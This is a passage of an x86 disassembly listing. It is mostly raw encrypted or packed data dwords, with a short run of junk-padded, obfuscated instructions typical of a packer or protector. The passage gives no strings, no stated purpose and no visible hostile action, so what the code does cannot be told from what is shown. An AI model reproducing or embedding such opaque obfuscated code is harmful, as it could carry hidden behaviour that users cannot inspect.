		dd 6CF73BEh, 2380BE27h,	0E7611DF2h, 7E5F4922h, 0FB9E681Ah
		dd 66601B84h, 4869C2ECh, 9A08383Ah, 0EBBF5605h,	775677C2h
		dd 96F2963Fh, 0EBBF5209h, 125A7BC2h, 1F5EB72Ch,	4CCABD84h
		dd 54CB5273h, 0C2EC7BA3h, 24DB473Ch, 0E3225156h, 0F5BD6108h
		dd 43EA5ACBh, 0C55C087Dh, 43DA8AFBh, 2A4B395Dh,	3DEEDC8Bh
		dd 0F7A23D59h, 0D0C2EBAFh, 58C2B9F1h, 73DA8AFBh, 0AFCFE145h
		dd 0AC1826FBh, 18C35C38h, 0B1C2EBBCh, 0FF88D890h, 3A000000h
		dd 76129B37h, 0DB72C12h, 0C190DA45h, 0F5CBCF74h, 0EE98D08Ch
		dd 0FB6856CFh, 66E8930Ch, 0C0E1C2ECh, 0D7648E1h, 93F0CE57h
		dd 2D5648D1h, 13704E01h, 0BE271951h, 99066206h,	0C2EC66E2h
		dd 2B82CAEBh, 0B086A91Dh, 4A4AFBh, 102E0000h, 0BC9558B1h
		dd 554E10ABh, 84CCED74h, 169F3736h, 6DD74C72h, 0F99DD5F4h
		dd 30950366h, 0FC6544C9h, 3094B863h, 8892E9C9h,	8CA143D3h
		dd 9D206E7Eh, 6264971Ch, 0A80DF510h, 1772ED89h,	50C93036h
		dd 6B4CD871h, 0FE000000h, 76129B37h, 74A097E9h,	0B3D7F6CFh
		dd 0E1A91B8Dh, 67DD4678h, 0C4D8AACEh, 0F0F25455h, 34C477E8h
		dd 2405C2ECh, 12734D05h, 0A054CB52h, 0C1C2EC35h, 0BDD970BAh
		dd 0EC347722h, 397150C2h, 0CF399E07h, 8CAD8C15h, 46CF6325h
		dd 0D9AFBD22h, 5F7EC936h, 0D98BF8C6h, 0D7433840h, 43276E02h
		dd 38AC1927h, 74DDEF70h, 0D2CCF6Ch, 9B3716A4h, 4374950Dh
		dd 388E8D17h, 8EAF3617h, 5654CBAFh, 97CF7A85h, 1C853FA9h
		dd 0BB851C3Dh, 0D339A4Ah, 2AB52C98h, 378C1D2Bh,	56CF6DD4h
		dd 0D148FC68h, 0C735E19Ah, 0CE2BF78Ch, 0F98BEF55h, 38A93659h
		dd 0DEFCAA57h, 1A59D1A3h, 556BC28Ah, 0D3ED74F0h, 65148B6Eh
		dd 2E564115h, 5B7A0CB8h, 0E09BE37Ah, 0E76CD936h, 0F765DD7Ah
		dd 0F76E4F6Eh, 605EF7D6h, 41254103h, 41151BDEh,	0C58DAC56h
		dd 3C85Ch, 497A0000h, 67D54FFBh, 0E163C0FEh, 61DB4678h
		dd 0E55FC6F8h, 60E4427Ch, 0E361C7F9h, 61DB447Ah, 0E25AC6F8h
		dd 63E1457Bh
		db 0FAh, 0EDh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	edi
		mov	edi, 43113B96h
		push	ebx
		mov	ebx, 8606DAh
		xor	ebx, 4DC56B19h
		add	edi, ebx
		pop	ebx
		shr	edi, 7
		neg	edi
		sub	edi, 0F894B0F0h
		mov	edx, edi
		pop	edi
		push	3732h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	5F7h
		mov	[esp], edx
		add	dword ptr [esp], 29FA12D4h
		pop	dword ptr [esi+8]
		sub	dword ptr [esi+8], 29FA12D4h
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5445C2
; ---------------------------------------------------------------------------
		dd 0BA5370A4h, 0F82C55FBh, 6133A86Eh, 0B8B7DD00h, 64AAA84h
		dd 0E0FFC503h, 32642E0Ch, 2C0DA67Bh, 30230BC1h,	63688955h
		dd 0AC5A8D8Dh, 6A064Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 7597C3C3h, 14E9AD9Ch, 0A8000000h
		dd 6D19C2BAh, 0B5E6FCEBh, 0BA4E2E8Eh, 76508D28h, 89D94AD5h
		dd 442F5D8Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0F19D893Ah, 0C7064424h, 44067985h
		dd 6DF406h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0E0B5F879h, 20F40897h, 958B5C62h
		dd 6441035h, 107185C7h,	644h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0DA0E67C3h
		dd 52608D3Ch, 5BC2BF0Fh, 61DEBF0Fh, 218DB5FFh, 95FF0644h
		dd 6440BF9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	0A8C35040h, 0AEFA54C0h,	0FF006A31h, 441C4D95h
		dd 0EBC08B06h, 4FC60B68h, 51BDF6AAh, 0AFAAEEECh, 71D67B2Bh
		dd 5372D7CBh, 5B75743Ch, 5CEFF6FCh, 0FF1DAAC4h,	7EF4AE47h
		dd 5A762F56h, 5BC954A5h, 666A67D0h, 0ECE94015h,	0B0A8A5E6h
		dd 1EF51BEh, 76E5D48Fh,	1128FE10h, 4637F188h, 7F3C8C0Ch
		dd 0EDD4375Fh, 0D128BEA9h, 0AF216343h, 9193CE38h, 93DE7173h
		dd 634EC9A1h, 6111B302h, 908D8D76h, 89064AADh, 441AB995h
		dd 5D8D8906h, 8106442Fh, 727AF3D0h, 7985C711h, 0F0064406h
		dd 6A000070h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 3439C350h, 0DDDC2C39h,	13F7813Bh
		dd 0C72B813Ch, 44107185h, 6, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 769CC805h
		dd 0A4327FB9h, 0BD8957ADh, 6442B91h, 71B5FF5Ah,	6A064400h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0B403C350h, 71AE3ADAh, 95FFCEB3h,	6440BF9h
		dd 5A536060h, 8E9h, 87C61300h, 10CB5C84h, 6A6161BDh, 4D95FF00h
		dd 8B06441Ch, 780AEBC0h, 3850AF89h, 8A1C1D09h, 0A08D8D31h
		dd 6A064AAEh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 1883C355h, 0FAFB4B6h, 88h, 7E85300h
		dd 82000000h, 0F3D338DAh, 0AE85369h, 0CA000000h, 561EE1C7h
		dd 0D78D38Fh, 5E5B5AEFh, 2F5D8D89h, 6A0644h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 47E12EC3h
		dd 0B4A933D0h, 0B8017478h, 4B242376h, 67985C7h,	6A9C0644h
		dd 85C70000h, 6441071h,	0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 29C35141h
		dd 6487E6AEh, 1BCD9D8Bh, 0B5FF0644h, 6440D55h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 1AC35242h, 604051C9h
		dd 6830Fh, 0EA810000h, 5E67C764h, 0F995FF61h, 0F06440Bh
		dd 687h, 5BEB8100h, 6A67FA48h, 4D95FF00h, 8B06441Ch, 271EEBC0h
		dd 0B4480660h, 58EC7BC9h, 0CB375C30h, 46A186EDh, 6813ED46h
		dd 694EAFC7h, 9EAD3BE0h, 14E858h, 0FC8B0000h, 5752AC06h
		dd 73C01D25h, 0BFFB94F6h, 5BBC477Dh, 85298D05h,	6441C11h
		dd 0F9BF0F5Ah, 5DB3C281h, 0F0810000h, 7FD8CA50h, 0B9h
		dd 1C8BF900h, 8E90Ah, 0B8AE0000h, 114CE839h, 0C3811F44h
		dd 437540DBh, 0DE9h, 0E583FB00h, 312E3BCBh, 39639BABh
		dd 0EB818DB1h, 147CFE14h, 67C68166h, 7CC381D6h,	8B193889h
		dd 441B05B5h, 11E85306h, 0B2000000h, 65AD161h, 0CFA161E2h
		dd 99F81D8Dh, 19323255h, 0A048F5Eh, 695858Bh, 0E9830644h
		dd 81F18B04h, 0FFA2F0F9h, 8F850FFFh, 31FFFFFFh,	440D6D85h
		dd 0D804EB06h, 0E935CA59h, 555h, 0C46DCF35h, 73DA8AFAh
		dd 0CE67D54Dh, 842D8FF0h, 31984CBAh, 0B5130913h, 2D98A60Fh
		dd 0C1201EB7h, 178CB21Bh, 244004ADh, 0E5E500BBh, 2D9FC9C2h
		dd 5B72B15h, 5212734Dh,	0D193F5CBh, 8B4ED1B5h, 3CC93094h
		dd 0C2FC551Dh, 1E7AE361h, 9C16246Ch, 672F7964h,	0E178EC59h
		dd 99FD67DFh, 7CB762FDh, 3110C930h, 0D0ABE079h,	0C87CE946h
		dd 67E45F61h, 0FCDD4400h, 0D74A74DDh, 63C2FC65h, 7B0078E1h
		dd 7DDF42AFh, 0CB79EAD4h, 0CD523652h, 0C9307C0Eh, 4BD28AF7h
		dd 753D1C6Ah, 307C2CEAh, 2CF68DC9h, 873DAB95h, 41773F1Eh
		dd 1F49BE5h, 850Eh, 2B15BC00h, 0B09108BCh, 2BA301C2h, 5810B3CBh
		dd 0DE47FD66h, 2FEA9841h, 0D45E25C9h, 0F409F76Fh, 13C01h
		dd 4F8E0000h, 0C2C93ED7h, 9E87592Bh, 0AC1826BFh, 0F637E27Dh
		dd 0B190C92Fh, 0F68F4AD5h, 1938C92Fh, 229FA138h, 0C2ACDEBAh
		dd 30D13E05h, 0FAB12860h, 9F45A09Eh, 9582ACD7h,	241AB331h
		dd 0C8AC05BFh, 2B8833ACh, 0CC53C930h, 0C9302B0Dh, 8DE99FBEh
		dd 302B6712h, 604160C9h, 2AE09B04h, 0C8E9C930h,	0D94F3280h
		dd 0C9500C74h, 0F1D08CF7h, 0F7749D0h, 990F3155h, 0E4FA632Bh
		dd 0C07BE480h, 9C93094h, 0F1B6028h, 6400C422h, 93DC9F00h
		dd 0CCEDC930h, 0B2132D84h, 9431E877h, 0BB9AC930h, 5967039Ah
		dd 0CFEE77EDh, 8C49B987h, 1534AD17h, 0F76E5034h, 2FB0D44Dh
		dd 0C930946Ch, 155D7C5Dh, 66B0CB8Ch, 0F4B13581h, 84FE01h
		dd 4F4C0000h, 7D0F6BD9h, 0DFB13A59h, 4BF96FF2h,	9AD2F3D2h
		dd 17C53D03h, 0D1881773h, 0FAC92FD8h, 410A93DBh, 1BDE4125h
		dd 0ACC92FD9h, 74BEC58Dh, 0AA32187h, 8B12D234h,	9904CB5h
		dd 8B12CA37h, 89153B5h,	2D1F0B70h, 7205116Ah, 0F168D44Ch
		dd 201BFE83h, 7E5FFF2Ch, 1EB40036h, 524101F4h, 0F3000000h
		dd 0F26BD94Fh, 7EE755CCh, 462DF40h, 0C6F86140h,	47CE55Fh
		dd 0DB46B37Fh, 512A4061h, 46FE68C5h, 0D74F5DEFh, 37B096Dh
		dd 0B22A9732h, 0CE347BC0h, 457B1F86h, 6C6A2DDEh, 0ADA21A60h
		dd 9D5BC48Ch, 3CC93019h, 0E76DB47h, 2701F439h, 1, 76D34F95h
		dd 0EF76570Dh, 69F074D1h, 53C06A11h, 0A2E44DEFh, 87E3870Eh
		dd 0D9448B9h, 6ADD5E2Ch, 446DB7FFh, 0BC39930Ch,	0D0A2CF73h
		dd 94B5BB33h, 1B7F0D56h, 5028FB43h, 0B293E5ADh,	799FA4D6h
		dd 21AAF189h, 0ED754B95h, 0F4766A7h, 893BA896h,	28364420h
		dd 381FF41Eh, 57CCF2BAh, 0B42D8FF2h, 0B22DB495h, 0C2EBE705h
		dd 0C275A1DAh, 6BAFA5B0h, 48BF23h, 0A300C53Eh, 97A90021h
		dd 0A0D2B62Eh, 38798F97h, 891D98Eh, 8E17CD36h, 0D23FEB90h
		dd 6C5AF371h, 0FBB028F8h, 13B3Dh, 0A23D5900h, 0C2EC14F7h
		dd 0BB9F1D0h, 76129B37h, 74C1A3E9h, 52CBEACFh, 0F252F76Ch
		dd 6D4CF86Dh, 77EBD5F4h, 734DE4C5h, 6BD94D12h, 983C80F2h
		dd 6C9DA1DCh, 0CBF56C4Dh, 6D73EA5Ah, 0B62F0C16h, 0D28F385Dh
		dd 0AF913A3Ah, 0C9AD8C38h, 4BD28AF7h, 72F2546Ah, 2B82CAEBh
		dd 0AFCCA91Dh, 4A4AFBh,	15F80000h, 0B215BA2Bh, 0AB8AAB32h
		dd 9B11A5E3h, 223BA2Ah,	71D84723h, 0FAC93094h, 1EDD42DBh
		dd 57C93094h, 714F022Ch, 1637AE16h, 397C185Eh, 9A07395Dh
		dd 3716C63Dh, 0BA239909h, 0DD4CD39Bh, 6EC93094h, 9172E64Fh
		dd 0C0000000h, 76129B37h, 74A097E9h, 0B3D7F6CFh, 0BABB18C1h
		dd 0FD6B07CDh, 0B72E6647h, 0CCA81C89h, 672F8DF2h, 9493F0CEh
		dd 0EC36500Bh, 665879C2h, 0FCDD4400h, 1BDB44DDh, 4EC2EC37h
		dd 3256E935h, 0EC35EEADh, 0DCADDFC2h, 0DAE2562Ch, 0F6C880A1h
		dd 1A7ED78Dh, 4800BC24h, 4F2B620Eh, 370596D0h, 92F6D7C9h
		dd 0C28A3AACh, 5B00655Bh, 0C15879EBh, 0A158C2B9h, 62FD249Fh
		dd 0C92203B7h, 58103110h, 5F3B721Eh, 6CB286C0h,	82E6C7CFh
		dd 19844BCh, 73C16820h,	76129B37h, 7B439FE9h, 56CFEECFh
		dd 0E049FB68h, 9BFF65DEh, 5C5D6EE9h, 0B7C54B7Ah, 7C4D8581h
		dd 34ADE5DBh, 0F0AB3450h, 0D9C2E611h, 5C2FB0F8h, 0E5F666FFh
		dd 0F96BDD82h, 97F41D8h, 0F289C25Bh, 0E458CB28h, 29F58EC5h
		dd 44ED57CCh, 0C25B097Ah, 40D983FCh, 0C45D077Eh, 42DB89FAh
		dd 75C75328h, 4FAC760Dh, 0F9C76ED6h, 0D541D88Ch, 3, 4FFB4967h
		dd 0C0FE67D5h, 4678E163h, 0C6F861DBh, 427CE55Fh, 0C7F960E4h
		dd 447AE361h, 0C6F861DBh, 457BE25Ah, 0EDFA63E1h, 81E18951h
		dd 4C1h, 4BB5300h, 29000000h, 0C875BD9h, 89535C24h, 4C381E3h
		dd 81000000h, 4EBh, 241C8700h, 2434895Ch, 81E38953h, 4C3h
		dd 4EB8100h, 87000000h,	895C241Ch, 0B850242Ch, 64AAF7Ah
		dd 54585E50h, 83242C8Bh, 0EC8104C4h, 4,	0BB241C89h, 8
		dd 3389EB01h, 2434FF5Bh, 4C4815Dh, 8B000000h, 89502434h
		dd 405E0h, 0C0830000h, 24048704h, 0CA58E95Ch, 0B4D4FFF9h
		dd 987D16E5h, 0C5BB79D2h, 0B46C8967h, 0B43AB85Dh, 0C503064Ah
		dd 5FFAE0FFh, 799E5FF5h, 5C0F147Eh, 5C5A242Bh, 5354356Bh
		dd 1B42644h, 0B06564C8h, 2D656F15h, 84CC2440h, 0B3AE53C4h
		dd 0B033473Dh, 0DD2F002Fh, 0B6D5492h, 0D1B1758Ah, 3599072Bh
		dd 88EC3FBCh, 0B764B73h, 924933EEh, 746FD0h, 0B5A077B1h
		dd 2D34054Eh, 8D8D2287h, 64AB624h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0E7C35242h,	0C8C1C4C9h, 0DE960h
		dd 83A90000h, 0BB466CD3h, 0E83462C8h, 66B310A1h, 61397ABEh
		dd 2F5D8D89h, 0BB660644h, 85C7CE8Ah, 6440679h, 6BE0h, 107185C7h
		dd 644h, 6A0000h, 3E850h, 58200000h, 448958C3h,	44810424h
		dd 190424h, 50400000h, 0B32EADC3h, 0F66D37Dh, 0C88h, 7E900h
		dd 264E0000h, 7852BF6Ah, 0DDB5FFF2h, 6A064408h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0AFB2C350h, 1B59A143h, 0F5C14FBh, 684h, 0F99D8B00h
		dd 3106441Eh, 4409D5B5h, 0F995FF06h, 6A06440Bh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 2000C353h, 6A23F23Eh, 4D95FF00h, 8B06441Ch, 0DE7CEBC0h
		dd 36200853h
		dd 6807787Dh, 221680ABh, 0E179589Bh, 0EC0C2698h, 76FA4C1Bh
		dd 4F794EBFh, 0D2791BA7h, 0BFA02550h, 28D0D6C8h, 0FAEA6AE3h
		dd 0F1469264h, 5ADBAC85h, 0D749EBC8h, 0C443050h, 6C68720Ah
		dd 1B45F985h, 9B6B68C7h, 0A70DA023h, 0A6CD3F69h, 34338DDDh
		dd 73BB1FFBh, 6A20EC03h, 0DB4D9DA9h, 873A0D05h,	0C0D31788h
		dd 1A36C789h, 3465DDCEh, 82F96845h, 93F0E22Fh, 0E8A7BCD3h
		dd 14h,	3A5A340h, 0E9EAF33Eh, 0EEF2CBB6h, 1F250990h, 0AFB65525h
		dd 23398589h, 0F5A0644h, 685h, 0E59D8900h, 81064428h, 6AF8C2h
		dd 4D9D2B00h, 6806442Ah, 1A93h,	20AD8589h, 60580644h, 16BD8D01h
		dd 71B80644h, 6177FF98h, 8D8B32FFh, 64403C5h, 0B98D295Eh
		dd 81064417h, 630384F6h, 11E839h, 0B4970000h, 0F2E02A5Eh
		dd 6AA08A25h, 0C4E04C29h, 8B1BFC6Eh, 0F68159FEh, 1874C481h
		dd 81D8B70Fh, 0CD7C60F6h, 0AD8D8B45h, 56064423h, 6890Fh
		dd 8D8B0000h, 6441F0Dh,	8B56028Fh, 0EA835FDAh, 83FB8B04h
		dd 850F01E8h, 0FFFFFF9Ch, 2E985C6h, 68560644h, 0A9C530DFh
		dd 17E9B5FFh, 858D0644h, 64777AFh, 8D8DD0FFh, 64432E9h
		dd 0FF406A51h, 4418D9B5h, 59B5FF06h, 0FF064430h, 0D9B5FFD0h
		dd 0FF064418h, 443059B5h, 0EE806h, 28DC0000h, 19B30ACFh
		dd 0D3CC78DCh, 0D6AF5FA7h, 0EA835A5Ah, 242CC104h, 2424C102h
		dd 24140302h, 2B241CF7h, 320C8BF6h, 6CF9E981h, 0C18174E5h
		dd 1D8332B6h, 40DBE981h, 0C8951F4h, 3EE8332h, 24343B4Eh
		dd 0B850Fh, 10E90000h, 0C4000000h, 0BB2CE69h, 0FFCBE960h
		dd 0DBBDFFFFh, 8DD36315h, 4408799Dh, 0B038B06h,	7840FC0h
		dd 8B000000h, 45B8B03h,	0C98B1889h, 15FE9h, 0D48B5200h
		dd 0E860h, 815D0000h, 4AB820EDh, 8428B06h, 2638453Dh, 38850F78h
		dd 8B000001h, 4A8B0C42h, 0BBC8D318h, 8B74FD86h,	0E883C333h
		dd 5D858904h, 8B06442Fh, 0F88B0458h, 8B10428Bh,	0C8D3184Ah
		dd 0C7D7ADBEh, 2BC633F7h, 0FCE083C7h, 8904E883h, 44067985h
		dd 14428B06h, 10718589h, 428B0644h, 0B0E95318h,	0FF000000h
		dd 441C9DB5h, 0B9E906h,	0B5FF0000h, 6441EB9h, 0AEE9h, 8DB5FF00h
		dd 0E9064421h, 0A3h, 0C0DB5FFh,	98E90644h, 0FF000000h
		dd 4408DDB5h, 8DE906h, 0B5FF0000h, 6440D55h, 82E9h, 71B5FF00h
		dd 0E9064431h, 77h, 30F5B5FFh, 6CE90644h, 0FF000000h, 44196DB5h
		dd 61E906h, 0B5FF0000h,	6441649h, 56E9h, 49B5FF00h, 0E906440Ah
		dd 4Bh,	0D41B5FFh, 40E90644h, 0FF000000h, 440071B5h, 35E906h
		dd 0B5FF0000h, 6441099h, 2AE9h,	39B5FF00h, 0E906441Fh
		dd 1Fh,	318DB5FFh, 14E90644h, 8B000000h, 0BB8D8h, 0F7660000h
		dd 818D8DE3h, 3064AB8h,	0FFE1FFC8h, 440BF995h, 858B5B06h
		dd 6442F5Dh, 0F045839h,	0F85h, 16A5300h, 1C4D95FFh, 0E95B0644h
		dd 0FFFFFFE2h, 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 9A1858Bh
		dd 8D8D0644h, 64AB96Fh,	8B014189h, 28D8DC3h, 0F9064ABAh
		dd 2F5D8D89h, 6A0644h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0C3A259C3h, 0BECC551Bh, 66DA8B66h
		dd 8166C68Bh, 0C72A39DEh, 44067985h, 5F0006h, 75858900h
		dd 0C7064431h, 44107185h, 6, 659D0300h,	0FF064404h, 440071B5h
		dd 0FFFA8A06h, 440BF995h, 7E906h, 0BEDF0000h, 0A7B98E06h
		dd 0FF006A55h, 441C4D95h, 0EBC08B06h, 0AE6B6D0Ah, 0C5AE8610h
		dd 0E91538FCh, 0ABh, 3F2E8D50h,	5F72B11Ch, 0A7ACABDAh
		dd 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h, 0B1F46BB2h
		dd 20752096h, 6BB79B55h, 92A5BCF2h, 7594A196h, 0B799603Ah
		dd 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh, 4E0097B1h
		dd 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h,	0F653F545h
		dd 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h, 756BBF97h
		dd 0BFCF60FDh, 93BCF996h, 207D20B2h, 0ABF79B57h, 9EBD9492h
		dd 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh,	0E1B6F66Dh
		dd 0ED7293BCh, 0E80097B3h, 94E7A601h, 0E483323Dh, 0E9316834h
		dd 1317h, 4ABCA368h, 0C448E906h, 7868FFF9h, 0E9064ABDh
		dd 0FFF9C43Eh, 4ABE4568h, 0C434E906h, 7468FFF9h, 0E9064ABFh
		dd 0FFF9C42Ah, 4ABFE268h, 0C420E906h, 0A068FFF9h, 0E9064AC0h
		dd 0FFF9C416h, 4AC16968h, 0C40CE906h, 1A68FFF9h, 0E9064AC2h
		dd 0FFF9C402h, 4AC2E368h, 0C3F8E906h, 3E68FFF9h, 0E9064AC4h
		dd 0FFF9C3EEh, 4AC51F68h, 0C3E4E906h, 9268FFF9h, 0E9064AC6h
		dd 0FFF9C3DAh, 4AC80368h, 0C3D0E906h, 0FB68FFF9h, 0E9064AC9h
		dd 0FFF9C3C6h, 4ACB1B68h, 0C3BCE906h, 0B113FFF9h, 289CA20Bh
		dd 0B72B15BCh, 2D92AC05h, 0AE18268Fh, 73BD9F36h, 0CA51F89h
		dd 0B811D332h, 8A11B86h, 0BE17CD36h, 5A019EFAh,	73C2E5D9h
		dd 0D64F9725h, 3931E13Dh, 19382497h, 9F45BE80h,	55E07036h
		dd 0FD6B5531h, 0B7FFDE47h, 73B83A28h, 49BF81CFh, 84A5D39Bh
		dd 0B6D3821Dh, 0A1C5C2EBh, 797275D3h, 70386997h, 0CA3A1F0Bh
		dd 6BFBB077h, 40h, 0B72B15D9h, 15C73B05h, 3E771B5Dh, 4301645Ah
		dd 6AF06F0Bh, 0A3CF749Fh, 0ABB927D1h, 0B594BF4Fh, 8204B32Ch
		dd 188DC2ECh, 9C0B35ACh, 0B2C9B128h, 0A8D39468h, 0A12D997Eh
		dd 0E5C6FBB0h, 74000000h, 0A6ED64Fh, 98DA4878h,	0E3ABE9E8h
		dd 62E2447Ah, 0E460C5FBh, 62E2437Dh, 0A99A54CBh, 3293C92Fh
		dd 7EE8D6B2h, 407E5FC6h, 9D347CE0h, 58C742A3h, 0C92FA8A1h
		dd 0B32A0B2Ah, 59CF5DF5h, 0D94C72EBh, 0F2D3F26Bh, 1A89B7D3h
		dd 118EEAA2h, 0CF73AB5Bh, 9C48BE80h, 2A83A2D4h,	2D49C46Ch
		dd 324E52B2h, 51B58BC9h, 0FC780A93h, 0B196CCEBh, 65012001h
		dd 3F77ED5Bh, 4103655Bh, 70A71B25h, 2DA02CEFh, 9DBC9DC9h
		dd 0E4427CD5h, 50CDC560h, 0AA337DE1h, 10923Eh, 0C676EC00h
		dd 4FF5516Fh, 0F468D8E6h, 5EFE635Dh, 0E55FC9F7h, 56C66E4Ch
		dd 0E3DD74F0h, 5769C084h, 0E7D970ECh, 2B6FC67Eh, 0D829D04Fh
		dd 0F4A2C2E5h, 0E1671546h, 92184DB4h, 91F7C981h, 0CBEA5ACCh
		dd 0A554CBAFh, 26C93049h, 0D8E64F07h, 0E250F96Bh, 8BC2B15h
		dd 0BEF8B091h, 0A11B8412h, 0E17BE480h, 28CF749Fh, 0EDCDD75Ah
		dd 597857AFh, 6985FC0h,	6318C2ECh, 25F252B7h, 0A803FBB0h
		dd 0B1000000h, 0F76ED64Fh, 7CE55FC9h, 2BA2618h,	6DF2BA9Bh
		dd 0C93098A3h, 228B39AAh, 0FEBD2246h, 0CFC93090h, 2B98A6EEh
		dd 7A4420B9h, 54125A0Ah, 8A1571BCh, 0CF7493C0h,	0C7812809h
		dd 1986E22Bh, 0C933389Ch, 2A147051h, 9FA108BCh,	1EBB29h
		dd 767DE100h, 0FBD7BEFh, 0CD370000h, 8CF8C66Fh,	0D34F71D8h
		dd 81FEC069h, 0DA4C72DBh, 37E1C36Ah, 48E163C5h,	0FC550F76h
		dd 54FD5FC2h, 0E24BF96Ah, 9E5DC2A6h, 2FC2E5D7h,	0D94FCB79h
		dd 87FCC26Bh, 79CBB9DDh, 0C742ADEBh, 0F2D391F4h, 57713BAh
		dd 0C7178DEBh, 38AC1B47h, 4FE35119h, 0C9F76ED6h, 7F41E85Ch
		dd 0FEC05903h, 0C576DF85h, 7CB959CEh, 96B98718h, 3918CF74h
		dd 5C00635Dh, 54305414h, 0EC9210CBh, 0D098B9C2h, 76C3894Fh
		dd 2D6808BAh, 7B22D49h,	0C0D76261h, 45DC88FEh, 0BE214564h
		dd 0D76260FBh, 0C1A5EDCCh, 0A665605Eh, 59C0E1DDh, 0C125731Fh
		dd 78462203h, 7F1B5309h, 0EDDBE4E0h
		dd 7C1839D7h, 0CA63E142h, 70D58FF4h, 8C2EE294h,	0F09F0B92h
		dd 0A00000Eh, 0B38D2498h, 6389153h, 0B58B229Ah,	739904Ch
		dd 0A88A23A1h, 0BA2A9C80h, 0ABA2D13h, 0B6269DA3h, 0C4211Fh
		dd 1689EDA9h, 0C2E5D663h, 4F803264h, 5B42BD6h, 0C6C93094h
		dd 0C6A2C6E7h, 3094A259h, 5F0563C9h, 0D9400829h, 0DEBAF39Fh
		dd 74C1F741h, 0DE7756CFh, 0D9BDF898h, 30980046h, 0F96041C9h
		dd 3077AF66h, 73E958C9h, 0F272D4EAh, 949EE56Bh,	0A59BFFB8h
		dd 3C1D8440h, 3E230F74h, 1F496C6h, 3C6Fh, 0F06F0B00h, 0C9308349h
		dd 59EBA382h, 76129B37h, 74E283E9h, 8FEBCACFh, 8EEA52B1h
		dd 0F7A319FCh, 81C9B34Ch, 0F602B728h, 1A8BC2EBh, 0C63D03AAh
		dd 0BE279D09h, 0B327BE9Fh, 0E2Fh, 0B62B1501h, 0F6BE9F06h
		dd 51C620B0h, 7A0833Eh,	0CF503415h, 0CF7A78BDh,	77492D0Ch
		dd 0C32560Eh, 0CD642C98h, 0B6D292F3h, 880160C4h, 0E9D72C54h
		dd 7B5AC379h, 0F0CEAA33h, 0DF99D193h, 0C282E533h, 731887E3h
		dd 78C930D9h, 0A2033D59h, 0D1EF8B22h, 0BB85CD77h, 45039A4Ah
		dd 9B0460ADh, 0CF73E0DDh, 8268CDECh, 0B47BA776h, 0DC1B92Dh
		dd 0C93B0000h, 2084BA13h, 0CF330DA4h, 85FAC46Dh, 0E6407ED7h
		dd 2BF5D77Eh, 0C46DD731h, 70D98BFAh, 0C069D34Eh, 76DF85FEh
		dd 12C95632h, 0BBC2E5D5h, 27EE5FEDh, 0A8C93094h, 0A457C808h
		dd 6DC93094h, 113046F6h, 2ACB5430h, 0A3CF7B4Eh,	6BD8E682h
		dd 0E5C480E6h, 5311724Ch, 0A9E48CCAh, 80452CDh,	6445C92Ah
		dd 0ED3231C1h, 0DA4ED77Dh, 0D53h, 2C8537ADh, 9B32B212h
		dd 369F3DA5h, 8C259708h, 399054B2h, 0BD2B111Bh,	3590AE07h
		dd 0A918268Fh, 3FA49A33h, 0C682C85h, 0E5D4E893h, 5B7E1C2h
		dd 0F76ED64Fh, 8CE85CC9h, 0ED910FFEh, 2169ADC0h, 79A5DEB8h
		dd 0D68EF8C6h, 6F3CA89Eh, 0EBF901F4h, 9D000006h, 0A19F45A3h
		dd 26079E46h, 6715DC6Eh, 5E9CFB32h, 27612912h, 0F966028Bh
		dd 0CF7AF769h, 85E185A4h, 0E974DBBh, 0AB2112Fh,	0C4FAB293h
		dd 724CE55Fh, 6BD94C11h, 96F2D3F2h, 0CF873DA8h,	0A70EC956h
		dd 0E38FC2E5h, 0A7C970EFh, 2302C2E5h, 70026602h, 13F07130h
		dd 51CE865Bh, 0C92A8007h, 4C26746h, 0E27DEDCAh,	0C95EF7Bh
		dd 75EF0000h, 0F4506EC7h, 7BE7D970h, 0E95668C1h, 82E4DA73h
		dd 0DF496BC2h, 0F0590B7Dh, 44ED57CEh, 0FC55077Ah, 4AE361C2h
		dd 46F56A0Eh, 87C2E5D4h, 0D64F63D1h, 0B91E613Dh, 0FB6607D8h
